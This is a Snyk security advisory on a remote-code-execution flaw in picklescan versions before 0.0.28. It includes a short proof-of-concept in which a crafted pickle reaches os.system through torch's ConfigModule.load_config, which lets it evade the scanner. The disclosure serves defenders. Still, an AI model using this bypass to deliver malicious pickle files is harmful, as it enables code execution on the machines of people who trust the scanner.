Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-12177840
  • published24 Aug 2025
  • disclosed22 Aug 2025
  • creditFredericDT

Introduced: 22 Aug 2025

New CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.28 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to using torch.utils._config_module.load_config function. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function to bypass security checks, which may then be loaded with pickle by a user.

PoC

import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)

CVSS Base Scores

version 4.0
version 3.1